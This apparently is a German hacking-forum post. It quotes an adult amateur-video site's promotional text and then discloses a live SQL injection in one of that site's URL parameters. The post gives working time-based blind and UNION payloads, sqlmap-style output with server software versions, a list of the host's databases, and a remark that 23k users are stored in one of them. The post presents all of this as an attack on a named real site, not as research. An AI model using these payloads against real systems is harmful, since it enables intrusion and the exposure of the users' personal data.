In unserem Club kannst du als User mit sexuell aufgeschlossenen Usern und Privatproduzenten chatten (natürlich auch direkt per Webcam) oder direkt per Privatnachricht mit Ihnen Kontakt aufnehmen, egal ob Männer, Frauen oder Paare - unsere Privatproduzenten laden täglich geile Bilderserien und Hadcorevideos auf Ihr Profil. Natürlich kannst auch Du Privatproduzent werden und Deine Bilderserien und geilen Videos zu Deinem eigenen Profil hinzufügen - und damit Geld verdienen.
-> eine tolle seite, wie ich finde
vuln: http://www.born-to-fuck.com/ProfilContent.php?user_uid=999999.9 Parameter: user_uid (GET) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: user_uid=999999.9' AND (SELECT * FROM (SELECT(SLEEP(5)))IgyI) AND ' iUlR'='iUlR Type: UNION query Title: MySQL UNION query (78) - 17 columns Payload: user_uid=999999.9' UNION ALL SELECT 78,78,78,78,78,78,78,78,78,78,7 8,CONCAT(0x716a626271,0x42654a425959764f4d55,0x716b707171),78,78,78,78,78# --- [INFO] the back-end DBMS is MySQL web server operating system: Linux SuSE 10.1 web application technology: Apache 2.2.0, PHP 5.1.2 back-end DBMS: MySQL 5.0.12 Data Bases: information_schema Amateure_Test GEODB ballermann clubfantasy db_barverleih db_caribik db_caribik_chat db_caribik_neu db_club66 db_decoflower db_gangbangclub db_girls db_herrinselina db_laufhaus_wn db_lustblick db_musikportal db_privatproduzent db_quad db_smaustria db_vorlage flatpreis funmotel galerie gangbangclub garry garry_webshop gb_videorudi ghi_data hr-data management massagestudio megamanele mysql newsletter_tracking pattayaroom privatdarsteller privateHomepageTest private_hot_girls privateonly privatproduzent privatproduzent_bak smb007 star7 test thailand tierarzt tmp video_loft videobereich videorudi webdesign webshop wpp
die 23k user dieser seite befinden sich in der db privatproduzent
.